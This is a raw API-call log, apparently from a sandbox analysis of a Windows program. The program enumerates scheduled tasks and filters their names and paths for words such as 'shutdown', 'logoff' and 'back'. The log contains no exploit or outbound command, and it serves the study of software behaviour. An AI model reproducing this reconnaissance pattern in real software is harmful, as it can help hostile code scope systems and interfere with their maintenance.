	[0071.195] ITaskFolderCollection:get_Count (in: This=0x19a940, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0071.195] IUnknown:Release (This=0x19a940) returned 0x0
	[0071.195] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0071.195] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x31, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0071.195] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b558) returned 0x0
	[0071.196] IRegisteredTaskCollection:get_Count (in: This=0x19b558, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0071.196] IRegisteredTaskCollection:get_Item (in: This=0x19b558, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a940) returned 0x0
	[0071.196] IRegisteredTask:get_Name (in: This=0x19a940, pName=0x43af860 | out: pName=0x43af860*="AnalyzeSystem") returned 0x0
	[0071.196] IRegisteredTask:get_State (in: This=0x19a940, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0071.307] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289abf0
	[0071.307] wcsstr (_Str="analyzesystem", _SubStr="reboot") returned 0x0
	[0071.307] wcsstr (_Str="analyzesystem", _SubStr="restart") returned 0x0
	[0071.308] wcsstr (_Str="analyzesystem", _SubStr="shutdown") returned 0x0
	[0071.308] wcsstr (_Str="analyzesystem", _SubStr="logoff") returned 0x0
	[0071.308] wcsstr (_Str="analyzesystem", _SubStr="back") returned 0x0
	[0071.308] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289abf0) returned 1
	[0071.308] IRegisteredTask:get_Definition (in: This=0x19a940, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19a9b0) returned 0x0
	[0071.355] ITaskDefinition:get_Actions (in: This=0x19a9b0, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aa00) returned 0x0
	[0071.355] IActionCollection:get_Count (in: This=0x19aa00, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0071.355] IActionCollection:get_Item (in: This=0x19aa00, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19bcd0) returned 0x0
	[0071.355] IAction:get_Type (in: This=0x19bcd0, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0071.355] IUnknown:Release (This=0x19bcd0) returned 0x1
	[0071.355] IUnknown:Release (This=0x19aa00) returned 0x1
	[0071.355] IUnknown:Release (This=0x19a9b0) returned 0x0
	[0071.355] IUnknown:Release (This=0x19a940) returned 0x0
	[0071.355] IUnknown:Release (This=0x19b558) returned 0x0
	[0071.355] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b558) returned 0x0
	[0071.356] ITaskFolderCollection:get_Count (in: This=0x19b558, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0071.356] IUnknown:Release (This=0x19b558) returned 0x0
	[0071.356] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0071.356] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x32, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0071.356] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b558) returned 0x0
	[0071.357] IRegisteredTaskCollection:get_Count (in: This=0x19b558, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0071.357] IRegisteredTaskCollection:get_Item (in: This=0x19b558, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a940) returned 0x0
	[0071.357] IRegisteredTask:get_Name (in: This=0x19a940, pName=0x43af860 | out: pName=0x43af860*="MobilityManager") returned 0x0
	[0071.357] IRegisteredTask:get_State (in: This=0x19a940, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0071.357] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x289ac40
	[0071.357] wcsstr (_Str="mobilitymanager", _SubStr="reboot") returned 0x0
	[0071.357] wcsstr (_Str="mobilitymanager", _SubStr="restart") returned 0x0
	[0071.358] wcsstr (_Str="mobilitymanager", _SubStr="shutdown") returned 0x0
	[0071.358] wcsstr (_Str="mobilitymanager", _SubStr="logoff") returned 0x0
	[0071.358] wcsstr (_Str="mobilitymanager", _SubStr="back") returned 0x0
	[0071.358] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ac40) returned 1
	[0071.358] IRegisteredTask:get_Definition (in: This=0x19a940, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19aa08) returned 0x0
	[0071.478] ITaskDefinition:get_Actions (in: This=0x19aa08, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aa58) returned 0x0
	[0071.478] IActionCollection:get_Count (in: This=0x19aa58, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0071.478] IActionCollection:get_Item (in: This=0x19aa58, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19bd10) returned 0x0
	[0071.478] IAction:get_Type (in: This=0x19bd10, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0071.478] IUnknown:Release (This=0x19bd10) returned 0x1
	[0071.478] IUnknown:Release (This=0x19aa58) returned 0x1
	[0071.478] IUnknown:Release (This=0x19aa08) returned 0x0
	[0071.478] IUnknown:Release (This=0x19a940) returned 0x0
	[0071.478] IUnknown:Release (This=0x19b558) returned 0x0
	[0071.478] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b558) returned 0x0
	[0071.620] ITaskFolderCollection:get_Count (in: This=0x19b558, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0071.620] IUnknown:Release (This=0x19b558) returned 0x0
	[0071.620] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0071.620] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x33, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0071.620] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19a940) returned 0x0
	[0071.621] IRegisteredTaskCollection:get_Count (in: This=0x19a940, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0071.621] IUnknown:Release (This=0x19a940) returned 0x0
	[0071.621] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19a940) returned 0x0
	[0071.622] ITaskFolderCollection:get_Count (in: This=0x19a940, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0071.622] IUnknown:Release (This=0x19a940) returned 0x0
	[0071.622] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0071.622] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x34, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0071.622] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b598) returned 0x0
	[0071.623] IRegisteredTaskCollection:get_Count (in: This=0x19b598, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0071.623] IUnknown:Release (This=0x19b598) returned 0x0
	[0071.623] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b598) returned 0x0
	[0071.623] ITaskFolderCollection:get_Count (in: This=0x19b598, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0071.624] IUnknown:Release (This=0x19b598) returned 0x0
	[0071.624] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0071.624] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x35, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0071.624] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19a940) returned 0x0
	[0071.624] IRegisteredTaskCollection:get_Count (in: This=0x19a940, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0071.624] IUnknown:Release (This=0x19a940) returned 0x0
	[0071.624] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19a940) returned 0x0
	[0071.625] ITaskFolderCollection:get_Count (in: This=0x19a940, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0071.625] IUnknown:Release (This=0x19a940) returned 0x0
	[0071.625] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0071.625] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x36, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0071.625] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19a940) returned 0x0
	[0071.627] IRegisteredTaskCollection:get_Count (in: This=0x19a940, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0071.627] IUnknown:Release (This=0x19a940) returned 0x0
	[0071.627] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19a940) returned 0x0
	[0071.627] ITaskFolderCollection:get_Count (in: This=0x19a940, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0071.627] IUnknown:Release (This=0x19a940) returned 0x0
	[0071.627] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0071.627] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x37, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0071.627] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b598) returned 0x0
	[0071.628] IRegisteredTaskCollection:get_Count (in: This=0x19b598, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0071.628] IUnknown:Release (This=0x19b598) returned 0x0
	[0071.628] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b598) returned 0x0
	[0071.629] ITaskFolderCollection:get_Count (in: This=0x19b598, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0071.629] IUnknown:Release (This=0x19b598) returned 0x0
	[0071.629] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0071.629] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x38, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0071.629] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19a940) returned 0x0
	[0071.629] IRegisteredTaskCollection:get_Count (in: This=0x19a940, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0071.629] IUnknown:Release (This=0x19a940) returned 0x0
	[0071.629] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19a940) returned 0x0
	[0071.630] ITaskFolderCollection:get_Count (in: This=0x19a940, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0071.630] IUnknown:Release (This=0x19a940) returned 0x0
	[0071.630] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0071.630] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x39, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0071.630] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19a940) returned 0x0
	[0071.631] IRegisteredTaskCollection:get_Count (in: This=0x19a940, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0071.631] IRegisteredTaskCollection:get_Item (in: This=0x19a940, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a9a0) returned 0x0
	[0071.631] IRegisteredTask:get_Name (in: This=0x19a9a0, pName=0x43af860 | out: pName=0x43af860*="StartComponentCleanup") returned 0x0
	[0071.631] IRegisteredTask:get_State (in: This=0x19a9a0, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0071.751] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2881da8
	[0071.751] wcsstr (_Str="startcomponentcleanup", _SubStr="reboot") returned 0x0
	[0071.751] wcsstr (_Str="startcomponentcleanup", _SubStr="restart") returned 0x0
	[0071.751] wcsstr (_Str="startcomponentcleanup", _SubStr="shutdown") returned 0x0
	[0071.751] wcsstr (_Str="startcomponentcleanup", _SubStr="logoff") returned 0x0
	[0071.751] wcsstr (_Str="startcomponentcleanup", _SubStr="back") returned 0x0
	[0071.751] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881da8) returned 1
	[0071.751] IRegisteredTask:get_Definition (in: This=0x19a9a0, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19aa88) returned 0x0
	[0071.757] ITaskDefinition:get_Actions (in: This=0x19aa88, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aad8) returned 0x0
	[0071.757] IActionCollection:get_Count (in: This=0x19aad8, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0071.757] IActionCollection:get_Item (in: This=0x19aad8, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19bcd0) returned 0x0
	[0071.757] IAction:get_Type (in: This=0x19bcd0, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0071.757] IUnknown:Release (This=0x19bcd0) returned 0x1
	[0071.757] IUnknown:Release (This=0x19aad8) returned 0x1
	[0071.757] IUnknown:Release (This=0x19aa88) returned 0x0
	[0071.757] IUnknown:Release (This=0x19a9a0) returned 0x0
	[0071.757] IUnknown:Release (This=0x19a940) returned 0x0
	[0071.757] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19a940) returned 0x0
	[0071.757] ITaskFolderCollection:get_Count (in: This=0x19a940, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0071.757] IUnknown:Release (This=0x19a940) returned 0x0
	[0071.757] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0071.758] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3a, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0071.758] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19a940) returned 0x0
	[0071.759] IRegisteredTaskCollection:get_Count (in: This=0x19a940, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0071.759] IUnknown:Release (This=0x19a940) returned 0x0
	[0071.759] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19a940) returned 0x0
	[0071.759] ITaskFolderCollection:get_Count (in: This=0x19a940, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0071.759] IUnknown:Release (This=0x19a940) returned 0x0
	[0071.759] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0071.759] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3b, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0071.759] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b598) returned 0x0
	[0071.760] IRegisteredTaskCollection:get_Count (in: This=0x19b598, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0071.760] IRegisteredTaskCollection:get_Item (in: This=0x19b598, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a988) returned 0x0
	[0071.760] IRegisteredTask:get_Name (in: This=0x19a988, pName=0x43af860 | out: pName=0x43af860*="Account Cleanup") returned 0x0
	[0071.760] IRegisteredTask:get_State (in: This=0x19a988, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0071.761] IUnknown:Release (This=0x19a988) returned 0x0
	[0071.761] IUnknown:Release (This=0x19b598) returned 0x0
	[0071.761] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b598) returned 0x0
	[0071.761] ITaskFolderCollection:get_Count (in: This=0x19b598, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0071.761] IUnknown:Release (This=0x19b598) returned 0x0
	[0071.761] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0071.761] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3c, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0071.761] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b598) returned 0x0
	[0071.763] IRegisteredTaskCollection:get_Count (in: This=0x19b598, pCount=0x43af854 | out: pCount=0x43af854*=4) returned 0x0
	[0071.763] IRegisteredTaskCollection:get_Item (in: This=0x19b598, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a988) returned 0x0
	[0071.763] IRegisteredTask:get_Name (in: This=0x19a988, pName=0x43af860 | out: pName=0x43af860*="FamilySafetyMonitor") returned 0x0
	[0071.763] IRegisteredTask:get_State (in: This=0x19a988, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0071.891] IUnknown:Release (This=0x19a988) returned 0x0
	[0071.891] IRegisteredTaskCollection:get_Item (in: This=0x19b598, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a988) returned 0x0
	[0071.891] IRegisteredTask:get_Name (in: This=0x19a988, pName=0x43af860 | out: pName=0x43af860*="FamilySafetyMonitorToastTask") returned 0x0
	[0071.891] IRegisteredTask:get_State (in: This=0x19a988, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0071.892] IUnknown:Release (This=0x19a988) returned 0x0
	[0071.892] IRegisteredTaskCollection:get_Item (in: This=0x19b598, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a988) returned 0x0
	[0071.892] IRegisteredTask:get_Name (in: This=0x19a988, pName=0x43af860 | out: pName=0x43af860*="FamilySafetyRefreshTask") returned 0x0
	[0071.892] IRegisteredTask:get_State (in: This=0x19a988, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0071.893] IUnknown:Release (This=0x19a988) returned 0x0
	[0071.893] IRegisteredTaskCollection:get_Item (in: This=0x19b598, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a988) returned 0x0
	[0071.893] IRegisteredTask:get_Name (in: This=0x19a988, pName=0x43af860 | out: pName=0x43af860*="IndexerAutomaticMaintenance") returned 0x0
	[0071.893] IRegisteredTask:get_State (in: This=0x19a988, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0071.893] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x38) returned 0x286f848
	[0071.893] wcsstr (_Str="indexerautomaticmaintenance", _SubStr="reboot") returned 0x0
	[0071.893] wcsstr (_Str="indexerautomaticmaintenance", _SubStr="restart") returned 0x0
	[0071.893] wcsstr (_Str="indexerautomaticmaintenance", _SubStr="shutdown") returned 0x0
	[0071.893] wcsstr (_Str="indexerautomaticmaintenance", _SubStr="logoff") returned 0x0
	[0071.893] wcsstr (_Str="indexerautomaticmaintenance", _SubStr="back") returned 0x0
	[0071.893] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286f848) returned 1
	[0071.893] IRegisteredTask:get_Definition (in: This=0x19a988, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19aa70) returned 0x0
	[0071.906] ITaskDefinition:get_Actions (in: This=0x19aa70, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aac0) returned 0x0
	[0071.919] IActionCollection:get_Count (in: This=0x19aac0, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0071.919] IActionCollection:get_Item (in: This=0x19aac0, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19bcd0) returned 0x0
	[0071.919] IAction:get_Type (in: This=0x19bcd0, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0071.919] IUnknown:Release (This=0x19bcd0) returned 0x1
	[0071.919] IUnknown:Release (This=0x19aac0) returned 0x1
	[0071.919] IUnknown:Release (This=0x19aa70) returned 0x0
	[0071.919] IUnknown:Release (This=0x19a988) returned 0x0
	[0071.919] IUnknown:Release (This=0x19b598) returned 0x0
	[0071.919] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b598) returned 0x0
	[0071.919] ITaskFolderCollection:get_Count (in: This=0x19b598, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0071.920] IUnknown:Release (This=0x19b598) returned 0x0
	[0071.920] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0071.920] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0071.920] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b558) returned 0x0
	[0071.991] IRegisteredTaskCollection:get_Count (in: This=0x19b558, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0071.991] IUnknown:Release (This=0x19b558) returned 0x0
	[0071.991] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b558) returned 0x0
	[0071.991] ITaskFolderCollection:get_Count (in: This=0x19b558, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0071.991] IUnknown:Release (This=0x19b558) returned 0x0
	[0071.991] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0071.991] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3e, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0071.991] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19a940) returned 0x0
	[0071.993] IRegisteredTaskCollection:get_Count (in: This=0x19a940, pCount=0x43af854 | out: pCount=0x43af854*=2) returned 0x0
	[0071.993] IRegisteredTaskCollection:get_Item (in: This=0x19a940, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a9a0) returned 0x0
	[0071.993] IRegisteredTask:get_Name (in: This=0x19a9a0, pName=0x43af860 | out: pName=0x43af860*="SpaceAgentTask") returned 0x0
	[0071.993] IRegisteredTask:get_State (in: This=0x19a9a0, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0071.994] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1e) returned 0x289ae48
	[0071.994] wcsstr (_Str="spaceagenttask", _SubStr="reboot") returned 0x0
	[0071.994] wcsstr (_Str="spaceagenttask", _SubStr="restart") returned 0x0
	[0071.994] wcsstr (_Str="spaceagenttask", _SubStr="shutdown") returned 0x0
	[0071.994] wcsstr (_Str="spaceagenttask", _SubStr="logoff") returned 0x0
	[0071.994] wcsstr (_Str="spaceagenttask", _SubStr="back") returned 0x0
	[0071.994] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ae48) returned 1
	[0071.994] IRegisteredTask:get_Definition (in: This=0x19a9a0, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19aa10) returned 0x0
	[0072.005] ITaskDefinition:get_Actions (in: This=0x19aa10, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aa60) returned 0x0
	[0072.005] IActionCollection:get_Count (in: This=0x19aa60, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0072.005] IActionCollection:get_Item (in: This=0x19aa60, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19bd20) returned 0x0
	[0072.006] IAction:get_Type (in: This=0x19bd20, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0072.006] IUnknown:QueryInterface (in: This=0x19bd20, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19bd20) returned 0x0
	[0072.006] IExecAction:get_Path (in: This=0x19bd20, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\system32\\SpaceAgent.exe") returned 0x0
	[0072.006] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x42) returned 0x2894600
	[0072.006] wcsstr (_Str="%windir%\\system32\\spaceagent.exe", _SubStr="reboot") returned 0x0
	[0072.006] wcsstr (_Str="%windir%\\system32\\spaceagent.exe", _SubStr="restart") returned 0x0
	[0072.006] wcsstr (_Str="%windir%\\system32\\spaceagent.exe", _SubStr="shutdown") returned 0x0
	[0072.006] wcsstr (_Str="%windir%\\system32\\spaceagent.exe", _SubStr="logoff") returned 0x0
	[0072.006] wcsstr (_Str="%windir%\\system32\\spaceagent.exe", _SubStr="back") returned 0x0
	[0072.006] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2894600) returned 1
	[0072.006] IExecAction:get_Arguments (in: This=0x19bd20, pArgument=0x43af858 | out: pArgument=0x43af858*=0x0) returned 0x0
	[0072.006] IUnknown:Release (This=0x19bd20) returned 0x2
	[0072.006] IUnknown:Release (This=0x19bd20) returned 0x1
	[0072.006] IUnknown:Release (This=0x19aa60) returned 0x1
	[0072.006] IUnknown:Release (This=0x19aa10) returned 0x0
	[0072.006] IUnknown:Release (This=0x19a9a0) returned 0x0
